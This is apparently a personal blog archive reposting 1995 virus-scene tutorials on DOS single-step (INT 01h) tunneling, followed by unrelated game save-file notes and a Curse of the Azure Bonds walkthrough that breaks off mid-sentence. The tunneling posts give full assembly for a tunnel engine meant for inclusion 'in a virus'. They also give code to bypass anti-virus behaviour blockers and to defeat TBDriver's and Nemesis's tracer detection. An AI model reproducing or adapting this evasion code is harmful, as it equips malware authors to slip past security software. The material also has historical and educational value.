Wednesday, August 23, 1995
Single Step Tunneling Techniques Part 2
Dark Fiber of [NuKE] presents Single Stepping Tunnel Techniques Part 2 Anti-Tracers Okey, so you have run the Example.Com program and TBDriver has beeped to the tune of Example.Com is trying to trace the Interrupt chain, or something to that effect. Your first question should be "How the hell does it know we are tracing it?" Well, I'm glad you asked!Here is a simple representation Code Memory Stack Memory mov ax,1234h push ax 1234h mov bx,5678h 1234h mov cx,DEADh 1234h push cx DEADh, 1234h push bx 5678h, DEADh, 1234h pop ax ;=5678h DEADh, 1234h pop bx ;=DEADh 1234h pop cx ;=1234h Now, even tho we have poped them off memory, what has actually happend is that the SP add had 2 added to it each time, adjusting where it points to, but those values ARE STILL IN MEMORY, just below where SP points to currently. so, if we did sub sp,6 the Stack Memory would look like 5678h, DEADh, 1234h The contents of memory have not been altered in any way, just the pointer to the memory has. Now, using the above example, this is what happens when we tunnel assume, int 1 CS=code, flags=flags, and the # is the ip. When an INT occurs, it pushes the flags, cs, and ip onto the stack. Code Memory Stack Memory cs:=code 1) mov ax,1234h 2) *int 1* 3, code, flags, 3) push ax 1234h 4) *int 1* 5, code, flags, 1234h 5) mov bx,5678h 1234h 6) *int 1* 7, code, flags, 1234h 7) mov cx,DEADh 1234h 8) *int 1* 9, code, flags, 1234h 9) push cx DEADh, 1234h a) *int 1* b, code, flags, DEADh, 1234h b) push bx 5678h, DEADh, 1234h c) *int 1* d, code, flags, 5678h, DEADh... d) pop ax ;=5678h DEADh, 1234h e) *int 1* f, code, flags, DEADh, 1234h f) pop bx ;=DEADh 1234h 10) *int 1* 11, code, flags, 1234h 11) pop cx ;=1234h Now, if we were to subtract SP by 6, this time our Stack Memory would look like this, code, flags, 1234 Notice that the bottom 4 bytes are not 5678h, DEADh, thats because when an Int 1 occurs, it overwrites whats underneath it. (Hope I'm explaining this so you understand
This is how TBdriver detects a tracer is in memory. Here is the actual TBDriver code push bx push ax xchg ax,bx pop ax dec sp dec sp pop bx cmp ax,bx pop bx Now, when its run without a tracer its Stack Memory looks like this assume ax=1234, bx=5678 Code Stack push bx ;bx=5678h 5678h push ax ;ax=1234h 1234h, 5678h xchg ax,bx ;ax=5678h 1234h, 5678h ;bx=1234h pop ax ;ax=1234h 5678h ;bx=1234h dec sp 34h, 5678h dec sp 1234h, 5678h pop bx ;ax=1234h 5678h ;bx=1234h cmp ax,bx ;ax=1234h 5678h ;bx=1234h pop bx ;ax=1234h ;bx=5678h Underneath the stack, it looks like this 1234h, 5678h Because the SP is decremented, and the stack untouched, 1234h is still there. Now, if we traced it.... Code Stack push bx ;bx=5678h 5678h *int 1* ip, code, flags, 5678h push ax ;ax=1234h 1234h, 5678h *int 1* ip, code, flags, 1234h, 5678h xchg ax,bx ;ax=5678h 1234h, 5678h ;bx=1234h *int 1* ip, code, flags, 1234h, 5678h pop ax ;ax=1234h 5678h ;bx=1234h *int 1* ip, code, flags, 5678h dec sp ags, 5678h dec sp flags, 5678h *int 1* ip, code, flags, flags, 5678h pop bx ;ax=1234h ;5678h ;bx=flags *int 1* ip, code, flags, 5678h cmp ax,bx ;ax=1234h 5678h ;bx=flags *int 1* ip, code, flags, 5678h pop bx ;ax=1234h ;bx=5678h Now, when SP is decremented, because the last value pushed was the flags, it overwrote the previously pushed AX in memory...... TB detects this, notices its not what it expected it to be, and knows we are tracing it. How do we get around this? Well, in TBDriver, its structured so that the first two bytes are a short jump OVER a far jump to the original DOS Int21h..... So we check for TBcode, and use the far jump data
The code to fool TBScan looks like this ;Place this code underneath the ItsNotJmpD: label. TBKiller: cmp al,0fah ;CLI? jne EndTBKiller lodsw cmp ax,0fc9c ;Is it TBDriver? jne EndTBKiller lodsw cmp ax,05053 ;TBDriver? jne EndTBKiller sub si,10 mov w[bp+_rip],si ;Run the original FAR jump inc si ;skip EAh, so its data. jmp FARJumpData EndTBKiller: "Gee, I heard Nemesis is damn tricky?" Eh? Not any more! All Nemesis does to find tracers is do a PUSHF, then check W[BP+xx],0404, JB, Now, if the TF is on, the FLAGS is > 0404, so, we add a status bit that tells us that the LAST OPCODE RUN was a PUSHF, so remove the TF
Now is that simple or what? The last method of killing a tracer while its running goes like this. 1. Get the address of Int 1h 2. Replace the first byte of the Int 1h seg:offs with an IRET opcode 3. Remove the trace flag 4. Restore the frist byte of Int 1h To do that the code looks like mov ax,03501h int 21h mov cl,0CFh es: xchg byte ptr [bx], cl pushf pop ax and ax,0feff push ax popf es: xchg byte ptr [bx], cl Now, how do you defeat this? Well, this *type* is pretty easy to avoid to. The code goes something like this. ;Under the EndTBKiller: label goes this, Kill_INT_1_Killers: cmp al,0CDh ;INT call? jne End_Kill_Int_1_Killers cmp byte ptr [si],021h ;21? jne End_Kill_Int_1_Killers cmp word ptr [bp+_ax],03501 ;GET INT 1? jne End_Kill_Int_1_Killers cs: or byte ptr [_Status],2 ;turn on fake int adres End_Kill_Int_1_Killers: ;Under RunNextTest_1: put the code test byte ptr [_Status],2 ;fake the address? je RunNextTest_2 xor byte ptr [_Status],2 mov ax, word ptr [Int_01v] ;get the orig, int 1 address mov word ptr [bp+_bx],ax ;put in into bx mov ax, word ptr [Int_01v+2] mov word ptr [bp+_es],ax ;put it into es ;Now when it writes a byte to int 1, it ;will be writting to the unused int 1. RunNextTest_2: But what happens if they get our Int_1 address directly from the IVT? Well..... you can check if they are putting a byte into our segment, but, because of the miriad of differnt ways one can put a byte into a position in memory, well, if you are a masochist you can come up with that code all by yourself. Well, I hope I've explained it so that you understand how tunnelers work. If you want to see a different kind of tunneler check out ART 2.2 whos' full source code is in vlad#4. This tunneler does not use int 1, but rather decodes each single opcode. Ah well, if you didnt understand then i really screwed up.
Posted by Stu on 08/23/1995 at 07:17 AM Permalink to this post.
Filed Under : Computers • Development •
Tags:
(0) Comments
Filed Under : Computers • Development •
Tags:
(0) Comments
Monday, August 21, 1995
Single Step Tunneling Techniques Part 1
This is an old tutorial I wrote for an electronic magazine..
Dark Fiber of [NuKE]
presents
Single Stepping Tunnel Techniques
Part 1
21st August 1995
File Descriptions:
df-tunnl.doc - This document
example.asm - Example program that calls tunnel.asm
example.com - Compiled example.asm
tunnel.asm - The basic tunneling engine.
f-Tunnel.asm - Full blown tunnel engine.
f-exampl.asm - Example using F-Tunnel
f-exampl.com - Compiled f-exampl.asm
Tunneling with INT 01h is an easy thing to do, about as easy as writting
*.COM file viruses, but, for some reason, guides for using INT 01h tunneling
techniques dont exist like *.COM file virus guides do, so I'm goning to remedy
that.
The Intel and its clone 8086+ compatibles have a nice mode built into them
called Single Stepping, and its VERY handy for programmers like us, who
want to find something specific in memory, for example, the kernal Int 21h
segment:offset, and bypassing other blocking TSR programs, such as Anti-Virus
behaviour blockers. This tunneling technique is not the be all and end all
of tunneling, as I will discuss some techniques and why they work against
this kind of tunneling further on.
In order to use the Single Step mode, we need to modify one of the bits
in the flag, and have set up an interrupt.
The flag is a 16bit register and consists of the following fields.
�����������������������������������������������Ŀ
flags �--�--�--�--�OF�DF�IF�TF�SF�ZF�--�AF�--�PF�--�CF�
�������������������������������������������������
0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
CF : Carry Flag Indicates an arithmatic carry
-- : Unused
PF : Parity Flag Indicates an even number of 1 bits
-- : Unused
AF : Auxilary Flag Indicates adjustment needed in BCD numbers
-- : Unused
ZF : Zero Flag Indicates a zero result, or equal comparison
SF : Sign Flag Indicates negative result/comparison
TF : Trap Flag Controls Single Step operation
IF : Interrupt Flag Controls whether interrupts are enabled
DF : Direction Flag Controls increment direction on string regs.
OF : Overflow Flag Indicates signed arithmatic overflow
-- : Unused
-- : Unused
-- : Unused
-- : Unused
The only one we need to concern ourselves with is the TF flag.
When the trap flag is off, well, the Int 01h is not used, but when we turn
the TF to on, the Int 01h routine is called BEFORE each instruction is
executed.
So, with that order in mind, you must hook the Int 01h, THEN turn on the
trap flag.
First thing that we must do is to hook Int 1h, then we need to set Int 1h,
set the trap flag to on, then lastly, call a function that we wish to trace.
For the example code presented, we will be tunneling Int 21h.
All the code is for a minimum of an 80286 or greater, because I dont care
for coding for the lesser 8086 machine.
;== [ 80286+ | Priming the Tunnel code ] ======================================
; This code will save and hook INT 01h, and put the processor into single
; stepping mode.
;
Int_01v: dd ? ;Old address for Int 01h
Int_21v: dd ? ;the tracer modifies this.
Tunnel:
pusha ;Save our registers,
push es ;Assume we are being called
push ds ;from an external source.
mov ax,03521h
int 021h ;Get Int 21h
cs: mov word ptr [Int_21v],bx ;Save Int 21h address
cs: mov word ptr [Int_21v + 2],es
mov al,01h ;Get Int 01h
int 021h
cs: mov word ptr [Int_01v],bx ;Save Int 01h address
cs: mov word ptr [Int_01v + 2],es
push cs
pop ds ;Set DS = CS for OUR Int 01
;address.
mov ah,025h
mov dx,offset Int_01Handler ;Our Int 01h routine
int 21h ;Set our Int 01h routine
;This first PUSHF, is used in conjunction with the CALL FAR [Int_21v]
;code, as we need a FLAGS on the stack that has not got the TF
;turned to ON.
pushf
pushf
pop ax ;Save the flag
or ax,0100 ;Set the TF to ON
push ax
popf ;restore the flags
;The moment we POPF the flags, the trace mode is initiated
;Because of the way it works, the first instruction immediatly
;following the POPF is NOT traced, tracing begins with the
;second instruction AFTER the POPF.
mov ax,03306 ;Set AX for INTERNAL_DOS_VERS.
call far [Int_21v] ;Call the Int 21.
;we are faking an INT 21 call.
;The Int_01Handler routine takes over from here until the trace
;is finished. Only when its finished will control pass back to this
;piece of code.
;When control is passed back, Int_21v will hold the segment:offset
;of the last cross segment jump before the trace ended.
;Restore the old Int_01h vector
lds dx,word ptr [Int_01v]
mov ax,02501
int 21h
pop ds
pop es
popa ;Restore registers
ret
;==============================================================================
Okey, before I code the Int_1_Handler routine for you, we need to go
over some more theory.
First, is that the Int_1_Handler routine is designed to check what opcode
is going to be run next, so we need to know what some of the opcodes that
we will need to check for are.
26h ES:
2Eh CS:
36h SS:
3Eh DS:
These four are the segment overides, and are ALWAYS
placed BEFORE the opcode, but the CPU sees them as
part of the same opcode, so we must check for these
and then siphon them off, to get the byte value of
the real opcode. We also use them for to determine
what segment to take data from on things like FAR
cross segment jumps.
9Ch PUSHF
We need to know this so we can get around Nemesis.
9Dh POPF
We need to check for the POPF because we dont want
any other program from turning off the TrapFlag, and
thus, dissableling our trace.
CFh IRET
This is what we use to signal that our trace should
end.
EAh JMP xxxx:yyyy
FFh 1Eh CALL FAR [xxxx]
FFh 2Eh JMP FAR [xxxx]
These three opcodes are used as cross segment jumps,
which commonly hold the seg:offs of the next Int hook.
Because the last two (FF1Eh, FF2Eh) take data from
the segment overide, or the current DS, we need to
know what that is too.
;== [ 80286+ | Tunnel Engine ] ================================================
;This is the actual code that does all the hard work.
;It has been somewhat (20bytes) optimised from the engine I used in Lady Death
;And bugfixed too
;These are our register offsets into the SS:SP[BP]
_rfl equ 01A
_rcs equ 018
_rip equ 016
_ax equ 014
_cx equ 012
_dx equ 010
_bx equ 0E
_sp equ 0C
_bp equ 0A
_si equ 08
_di equ 06
_es equ 04
_ds equ 02
_ss equ 00
Int_01Handler:
pusha
push es
push ds ;Save ALL registers.
push ss ;Its not really nesecary to save SS
mov bp,sp ;but this engine was built for expansion
;One thing to note, if you want to know the TRUE value of SP, that
;is, you must subtract 6 from it, which covers the calling cs, ip & f.
;and thats sub w[bp+_sp],6 not sub sp,6
push cs
pop ds
test b[_status],1
je RunNextTest_1
xor b[_status],1
and word ptr [bp+_rfl+2],0feff
jmp GetOpCode
RunNextTest_1:
GetOpCode:
lds si,word ptr [bp+22] ;Get the seg:off of the next opcode
cld ;clear direction
lodsb ;get opcode
;AL now holds our bytevalue opcode.
;Check for a segment overide, and if not, assume its working in DS
call GetSegOveride ;Get the segment overide
;bx = segment we will be using.
;Check the OPCode in AL
cmp al,09dh ;POPF?
jne ItsNotPOPF
;They are attempting to POP the flags. Just incase they have tried
;to turn the TF off, we keep it turned on.
or word ptr [bp+_rfl+2],0100 ;Keep TRAPFLAG set to on.
ItsNotPOPF:
cmp al,09c
jne ItsNotPUSHF
cs: or byte ptr [_status],1
ItsNotPUSHF:
cmp al,0cf ;IRET
jne ItsNotIRET
;An IRET signals the end of our trace.
;So turn the TF to off.
and word ptr [bp+_rfl],0feff ;Turn trace flag off
ItsNotIRET:
cmp al,0eah ;Jmp xxxx:yyyy
jne ItsNotFarJump
;A Cross segment jump! Save the seg:offset its going to jump into.
;The data for the cross seg jump is contained in the CS: seg.
;So, no change is needed.
FarJumpData:
lodsw
cs: mov word ptr [Int_21v+0],ax
lodsw
cs: mov word ptr [Int_21v+2],ax
jmp RunNextOpCode
ItsNotFarJump:
cmp al,0ffh ;jmp d[xxxx]
jne ItsNotJmpD
cmp byte ptr [si],01eh ;jmp d[xxxx], type 1
jne ItsJmpD
cmp byte ptr [si],02eh ;jmp d[xxxx], type 2
jne ItsNotJmpD
ItsJmpD:
inc si ;skip jump type
;This opcode can use a segment override, so use it!
mov ds,bx ;segment override
lodsw ;get storage offset of seg:offs
mov si,ax ;
jmp FarJumpData ;treat it like jmp xxxx:yyyy
ItsNotJmpD:
;Next opcode here....
;Well, we dont need to monitor any more opcodes....
RunNextOpCode:
pop ss
pop ds
pop es ;Restore the flags
popa
iret ;Run the next opcode.
GetSegOveride:
cmp al,026h ;ES
jne NotSegES
mov bx,word ptr [bp+_es]
lodsb ;Skip seg overide, to get next opcode
ret
NotSegES:
cmp al,02eh ;CS
jne NotSegCS
mov bx,word ptr [bp+_rcs]
lodsb ;Skip seg overide, to get next opcode
ret
NotSegCS:
cmp al,036h ;SS
jne NotSegSS
mov bx,word ptr [bp+_ss]
lodsb ;Skip seg overide, to get next opcode
ret
NotSegSS:
cmp al,03eh ;DS
jne NotSegDS
mov bx,word ptr [bp+_ds]
lodsb ;Skip seg overide, to get next opcode
ret
NotSegDS:
mov bx,word ptr [bp+_ds] ;DS
ret ;No override, so assume DS
_status: db 0
;==============================================================================
The code presented here is, when compiled, somewhere around 200bytes
long. Which I think is not too big, when you include it in a virus.
The engine presented here was very basic in its structure. It did not
check for things like
JMP DOUBLE [BX+4]
JMP DOUBLE [BX]
JMP DOUBLE [SI-4]
etc,
or
CALL DOUBLE [BX]
The reason being is that there are lots of other techniques for cross segment
jumping, and including all types would expand the engine considerably, and
they would not really be nesecary in a virus.
Posted by Stu on 08/21/1995 at 07:14 AM Permalink to this post.
Filed Under : Computers • Development •
Tags:
(0) Comments
Filed Under : Computers • Development •
Tags:
(0) Comments
Tuesday, January 02, 1990
Fountain Of Dreams save format
Here is the save file format for Fountain Of Dreams.
===========================================================================
*NB* I wrote these up years ago, when I planned on doing a
character editor (never did write it) so If you dont
understand some of my notes, drop me a line.
also, careful how you play with things neh?
coz I bummped up my stats n weapons n shit and i remember
that i had a 20minute battle against 1 snake and i was using
grenades, flamethrowers and everything, so becarefule what
you change, the results can be..... _very_ unpredictable.
If anyone uses these stats to make an editor, I'd like a copy
Dark Fiber
entropy@mpx.com.au
============================================================================
comment #
Game : Fountain of Dreams
Type : SavefileCharacter Editor Techspecs
Date : July 15th 1990
Author : Dark Fiber [AIH]
the save game files are actually the files
DISK1.
DISK2.
DISK3.
DISK4.
backup those four files BEFORE you play the game, then restore them
so no need to re-install
Savefile Layout
Offset Descr Type
~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
0008 Hour (relative form 0 to 23) byte
0009 minute (from 0 to 59) byte
000E Money DWord
0031 Total num chars in party (1=1,etc) byte
0032 Character Order Byte[5]
eg: 0,3,1,2 = Character 1, 4, 2, 3 (char-1)
0037 Day (relative from 0) Byte
Char offsets = 003a, 0186, 02d2, 041e, 056a
to work out xx offset for char Z then formula is
character_offset_Z - ch_off_1 + item_offset
eg: 2D2 - 3A + 57 = Charisma offset for character 3
003a Name asciiz[12]
0052 Strength byte
0053 Intelligence byte
0054 Dexterity byte
0055 Will Power byte
0056 Aptitude byte
0057 Charisma byte
0058 Luck byte
005e Active Skills byte[16]
Medic
Lockpick
Forgery!!
Climb
Pharmacy
Bomb/Alarm Disarm
Mechanics
Electronics!!
Cryptography!!
Pickpocket!!
FODDY FOD
Doctor
*Chameleon
*Shriek
*Stun
*Corruption!!
006e Passive Skills byte[16]
Perception
Stealth
Languages
Demolitions
Brawling
Blades
Handgun
Rifle
Auto Weapon
Boating!!
Gunsmith
Swim
Evasion
Gambling!!
*Mutant Recog!!
*Camouflage
007e Condition Word
0080 Maximum Condition Word
0084 Equipped Item 1 byte
0085 Equipped Item 2 byte
0086 Equipped Item 3 byte
0087 Equipped Item 4 byte
value of FF = no item equipped
other # = item # in inventory
0088 Rank byte
0092 Affliction byte
(Bit encoded)
00000001 - Poisoned
00000010 - Irradiated
00000100 - Rabid
00001000 - Envenomed
00010000 - Condition 5
00100000 - Condition 6
01000000 - Condition 7
10000000 - Mutant
009c Items byte[6] x 32
1 item is 6 bytes long
usually ones like ammo cartidges have 2nd byte as
num of bullets in clip, etc.
00 - Null Item
01 - Dollars
02 - .22 Handgun
03 - .45 Colt Pistol
04 - 9mm Browning Pistol
05 - Ochoa's Rifle
06 - Elephant Gun
07 - Shotgun
08 - Uzi
09 - Clown MegaUzi
0A - Clown Mega Uzi
0B - AK-47 Assault Rifle
0C - .22 Clip
0D - .38 Clip
0E - .45 Clip (7)
0F - .45 Clip (30)
10 - .50 Clip
11 - 5.56mm Clip (20)
12 - 5.56mm Clip (30)
13 - 7.62mm Clip (5)
14 - 7.62mm Clip (18)
15 - 7.62mm Clip (30)
16 - 9mm Clip (13)
17 - 9mm Clip (30)
18 - 9mm Clip (40)
19 - Shotgun Shells
1A - Grenade
1B - Plastic Explosives
1C - TNT
1D - Gas Balloons
1E - Flamethrower
1F - Napalm Cannister
20 - Machete
21 - Meat Cleaver
22 - Carving Knife
23 - Cane Knife
24 - Scalpel
25 - Pool Cue
26 - Garcia Sunday Vest
27 - Shagreen Vest
28 - Shagreen suit
29 - Leather Vest
2A - Leather Suit
2B - Flak Vest
2C - Flak Suit
2D - Rad Suit
2E - Obeah Necklace
2F - Kevlar Vest
30 - Kevlar Suit
31 - Leather Cap
32 - Riot Helmet
33 - Kevlar Derby
34 - Flo's Chapeau
35 - Strongbox Key
36 - Jewelry
37 - Canteen
38 - Canteen, Sea Water
39 - Empty Canteen
3A - Vial of Sea Water
3B - Empty Vial
3C - DeSoto Rum
3D - DeSoto's XXX Finest
3E - Chateau Pierrot
3F - Empty Bottle
40 - Bottle of Sea Water
41 - Broken Bottle
42 - Brewhoe Nostrum
43 - Voodoo Tonic
44 - Voodoo Elixir
45 - Voodoo Cologne
46 - Guard's Journal
47 - Imelda's Letters
48 - Mario's Diary
49 - DeSoto Vault Key
4A - Clown Master Key
4B - Red Key
4C - Black Key
4D - Garcia's Key
4E - Van Gogh painting
4F - Pollack painting
50 - Ojnab painting
51 - Velvet Elvis
52 - Bust of Beethoven
53 - Mutant Badge
54 - Clown Make up
55 - Silverware
56 - Spark Plug
57 - Bandage
58 - 50' Rope
59 - .38 Police Special
5A - Remington 700 Rifle
5B - M16A1 Assault Rifl
5C - MAC10
5D - Shovel
5E - Mechanic Toolkit
5F - Electronics Tools
60 - Obeah Talisman
61 - DeSoto Amulet
62 - Miami PD Badge
63 - Vial, Healing Water
64 - Vial, Sea Water
65 - Vial, alcohol
66 - Canteen, Heal Water
67 - Canteen, alcohol
68 - Bottle, Heal Water
69 - Bottle of alcohol
6A - Bottle, blue tap
6B - Bottle, green tap
6C - Bottle, violet tap
6D - Canteen, blue tap
6E - Canteen, green tap
6F - Canteen, violet tap
70 - Vial, blue tap
71 - Vial, green tap
72 - Vial, violet tap
73 - Imelda's brooch
74 - Personal Radio
75 - Rubber Boots
#
Posted by Stu on 01/02/1990 at 08:12 AM Permalink to this post.
Filed Under : Computers • Development •
Tags:
(0) Comments
Filed Under : Computers • Development •
Tags:
(0) Comments
Monday, January 01, 1990
Curse of the Azure Bonds (Solution)
This is an ooooooold solution I once wrote.
[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]
I IIIIII II
III II II
IIIII II IIIIII
III III II II
IIII IIIIIIII II
AIH: Australian Institute of Hackers
presents
CURSE OF THE AZURE BONDS
solution by DARK FiBER
[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]
0. INTROD.
If you loved Pool then you'll love Curse even more. Its a big improvement
over Pool and it even has a FIX command. Some encounters are not listed as its
too much piss farten around to see if an encounter is random or set.
PARTY CONSTRUCTION.
For this game I used the following brave adventurers; Dwarven Male
FighterThief, Human Female Paladin, Human Male Cleric, Human Male Cleric,
Human Female Mage, Human Male Mage. Avoid using multi-class characters, while
they are good to start with it takes too long to build up good magicians and
clerics which you need. I chose to use human classes over other classes as
they are supposed to have unlimited advancement, but of course this is not so
in this game. Make sure you have a female in your party as she will be very
handy later on in the game.
When constructing a party you should seriously consider including a Paladin
as they have Protection From Evil spells around them, can turn undead, heal,
cure and cast clerical spells at higher levels.
Fighters: Only good when they are of Dwarven make. They get Hit Point bonuses
if they have a constitution of 17+. They can use any armour and weild most
weapons.
Paladins: Only humands can be Paladins. Great character type. Can Heal, Cure,
Turn undead and cast clerical spells once they reach a high level. They have
Protection from Evil spells permenantly cast opon them. They can wear any
armour and weild most weapons.
Rangers: Kind of like a hybrid clericmagician for plants. Most spells have
something to do with nature. I think they are a shit class to be used in
Curse, but that is my opinion (of which there is a lot through out this
file.) They get HP bonuses with a constitution of 17+ and they can use most
weapons and armour.
Clerics: No party should be without one. Can do the churchy type spells.
Oopps, prayers I should say. They are excellent healers and not much else.
They do not have to find or buy prayers in order to know them. All spells in
there grimoire are there opon level advancement. They can use most armour
and some weapons.
Magicians: Pretty much like Gods on two legs, especially the very high level
ones. These guys do the destructive stuff and leave the healing crap to the
clerics. Major drawback is that they can wear no armour and weak weapons
like daggers, darts and saffs. (You have to stock them up on Bracers, rings
of protection and cloaks of displacement and stuff like that.)
Thievs: The extraperceptionary characters, they can detect traps and pick
locks, hide in the shadows, etc... They can only use one handed weapons and
leather armour. You never know when one might come in handy (As some folk
found out in Pool when tackling Cadornas Textile House ];-)
Beware also of falling into the Human Class Change trap. While it sounds
great there are some drawbacks that you should have noted assuming you read the
manual carefully.
1. You can't use the skills of the previous class until the current class
level surpasses the previous class level by one. EG: FighterCleric must
have a cleric level of one higher than the fighter, so it must be like 9/10
or 10/11.
2. Dual class magicians can't cast spells while wearing armour. So its not
much point in having a FighterMagician. But you can have a FighterCleric.
3. Its not worth changing class as it takes a long time to build up your
characters again to a higher level than the previous class.
4. Until your second class level surpasses your first class level you do not
gain hit points, even though you can still advance levels.
SAVING
Make use of your saved game spots, Its good to make the first save in the
list your start save, that is every time you set foot in a new maze save
immediatly and then use your other save spots as intermediate spots.
** P.S. This game took me a while to map, and I'm bloody glad the mazes are
not as complex as the Bards Tale or Wizardry series.....
MAPS
This solution only covers the main maps to complete the game, as such the
Tower of Oxam is not included. But if you want to find it go to DaggerFalls
and search the area. You will find a Magic Shop which sells goods cheaper than
anywhere else. The shopkeeper will tell you where the tower is. Its tough,
home of the High Imperceptor (Zhents) as well as the Mulmaster beholder corps.
There is a mega big battle with rackshasa, hell hounds and beholders so
beware.....
1. TILVERTON : 1 Level Town, 1 Level Thieves Guild
Ahhh, waking up in Tilverton, the sleepy Cormyrian town just south of
Shadowdale you realise sombody put a bit of body art in blue decorative tatts
on your arms, and in Alias' tracks (If you have read the book you basically
know what to do.) you must find out about the tatts and how to get rid of them.
Maybe a priest can cast a remove curse spell? Maybe you should just booze up
at the pub and sleep like a bear in winter. Our story begins......
Tool up at the shop, then go visit the priest. Have a booze up at the pub
then go visit Filani the Sage and tell the truth. Go back to the inn, rest,
heal, memorise and save. Now try and leave and you should run into Giogioni
Wyvernspur doing another good impersonation of King Azoun. Shit on the guards,
and then shit on another wave. Now head for the nearest alley and follow the
thief.
Go through the Tilverton thieves guild and go to the treasure room, Here you
will get some dust (Its Dust of Dissappearance), you should save this for the
end fight (Unless of course you are a masochist). Now make your way to one of
the exits.
LEGEND:
-- OR | = Wall....
D OR DD = Door....
S OR SS = Secret Door....
T OR TT = Trap....
# OR ## = Inacessable parts....
= OR == = Rubble or ruins....
< OR >
/ OR / = ONE WAY WALLS ALLOWABLE DIRECTION WITH ARROWS
ONE WAY DOORS ALLOWABLE DIRECTION WITH ARROWS
NB: When I draw my maps out on graph paper I always try and start at the bottom
of the paper..... So the N,S,E,W sign does not always have N at the top...
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
15 D 10 | | | |
+ + + + + + + + +--+DD+--+ + + + + +
14 D 10 | | | D |
+--+--+--+ + + + + + + + +DD+--+--+--+--+
13 | | |8 | | | |
+ + + + + +DD+--+--+ + + + + + + + +
12 | 7 7 D | 11 D | |
+--+DD+--+ + + +--+--+ + + +DD+--+--+DD+--+
11 | | | | | |
+--+--+--+--+ + + + +--+--+--+ + +--+--+ +
10 | | | D9 | | | D12 | |
+ + + + + + + + + + + + + + + + +
9 | | | | | | | | | | | |
+ + + + + + +--+--+DD+--+DD+ +DD+--+--+DD+
8 |6 D D | | | D | |
+ + + + + + +--+--+ + + + + + + + +
7 | | | | | | | | | | | |
+ + + + + + + + + + + + +--+--+DD+--+
6 | | | | | | D | | |
+--+--+--+DD+ + + + + +--+--+DD+ + + + +
5 | 5 D | D4 | D | | |
+--+--+--+--+ + + + + + + + + +DD+--+DD+ N
4 | | 4 | | | | | | |
+DD+--+--+ + + +--+DD+ +--+--+--+DD+ + + + |
3 |3 3 D | D | | | | W <-+-> E
+ + + + + +--+DD+--+ + + + + + +DD+--+ |
2 | | | D1 | | | | | | S
+--+--+--+ + +--+ +--+DD+--+DD+--+--+--+ + +
1 D 10 | D D | | | | |
+ + + + + +--+ +--+ + + + + + +--+DD+
0 D 10 | D D | | | | |
+--+--+--+--+--+--+--+--+--+--+DD+--+--+--+SS+--+
13 13
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 = Game Start Room
2 = Wild dreaming man
3 = Arms and Armour Shop
4 = Pub
5 = Priest
6 = Healer
7 = Shop
8 = Training Hall
9 = Filani
10 = King AzounGiogioni fight (After you visit Filani)
11 = Tilverton Guildmaster, big fight with thieves
12 = Treasure Room
13 = Tilverton Sewers
2. TILVERTON SEWERS : 1 Level sewer
Starting at 0,4 Make your way up through the sewers stopping off at all the
points on the map. The trolls and Neo-Otyugh are tough battles. If you need
to advance, then stop off at the secret Thievs Guild Training Hall. When you
meet the Knight of Myth Drannor tell him that you are either a friend of the
princess or that you have allegience to no one. (I think that was an option),
either way he should let you pass.
10 11
+--+--+DD+--+--+DD+
47 | | | |
+ + + +--+ +--+
46 | | | | |
+ + + + + + +
45 | | | D |
+ + +--+DD+ +--+
44 | | |
+DD+--+--+--+--+ +
43 | | D | |
+ + +--+--+--+ +
42 | | D9 |
+ + + +--+--+--+
41 | | | | |
+DD+--+ +--+ + +
40 | | | |
+ + +--+ + +--+
39 | | | | |
+ + +--+ +DD+ +
38 | S | |
+--+--+ +--+ + +
37 | | |
+DD+--+ +DD+--+--+
36 | | |
+ + +--+--+--+ +
35 | 8 D 8 D7 |
+ + + + + + +
34 | | | |
+--+--+DD+--+--+ +
33 | | | |
+ + + + +--+ +
32 | D | |
+DD+--+--+--+DD+--+
31 | |
+ + + +--+--+
30 | 4 | D |
+DD+DD+ +--+--+
29 | | |
+ +--+--+--+ +
28 | D | |
+--+--+--+ + +
27 | 6 | | |
+ + +DD+DD+DD+
26 | | |
+DD+--+ +--+--+
25 | | | |
+ +--+ + + +
24 | | | |
+ +--+ +DD+--+
23 | | |
+--+DD+--+--+ +
22 | | | |
+ +--+--+ + +
21 | D | D |
+ +--+ +--+ +
20 | | D | |
+--+DD+ + + +
19 | | | |
+ +--+ +--+ +
18 | | | |
+ + +DD+--+DD+
17 | | | |
+ + + + + +
16 | | | |
+--+--+DD+--+--+--+--+
15 | |3 |
+ + +DD+--+ +
14 | D 5 D |
+DD+DD+--+--+ +
13 | |
+ + +--+--+--+
12 | | D |
+ + + + + +
11 | | | |
+ + +--+--+DD+
10 | D | |
+--+--+DD+--+--+
9 | 3 |
+DD+--+--+ +--+
8 | | |4 D |
+ + + + + +
7 | | D | |
+ +--+--+ +--+
6 | D | |
+--+ + +--+ +
5 | D | D |
+--+ +--+--+ +
4 | | | |
+ +DD+ + +--+
3 | | 2 | D |
+ +--+ + + +
2 | | | | | S
+ +DD+--+ +--+ |
1 | | | | E <-+-> W
+ + + +--+ + |
0 | | | | |
+DD+--+--+--+DD+ N
1 1
0 1 2 3 4
1 = To Tilverton Thieves Guild
2 = Journal Entry
3 = Cloth
4 = Fire Knives Check Point
5 = Otyugh
6 = Neo Otyugh + Otyugh + Items
7 = Symbol
8 = Trolls
9 = Knight of Myth Drannor NPC
10 = To Fire Knives Hideout at Abandoned Checkpoint
11 = To Fire Knives Hideout
3. FIRE KNIVES GUILD : 1 Level Thieves Guild
This place has a few secret doors, somtimes the door appears on one side of
the wall, but not on the other side. There is also one one-way door that I
know of. This place is pretty easy as there are few battles, and then they
only consist of 6 or 8 Fire Knives. Make your way to point 1 and wait for the
blades to stop, now continue on to point 2 and interrogate the nice
co-operative folks for some information. At point 3 attack to gain the
surprise and rescue the cleric, friend to the Knight of Myth Drannor. Go to
point 4 for some information, then on to point 5, 6, 7 and 8. Save your game,
get healed and spelled up. Now enter the door to point 9 and face the leader
of the Fire Knives, Princess Naccacia (I think she is a thief by trade) and the
Wyvenspur fop, Giogi. Slaughter the thieves and the Zhentish fiend and watch
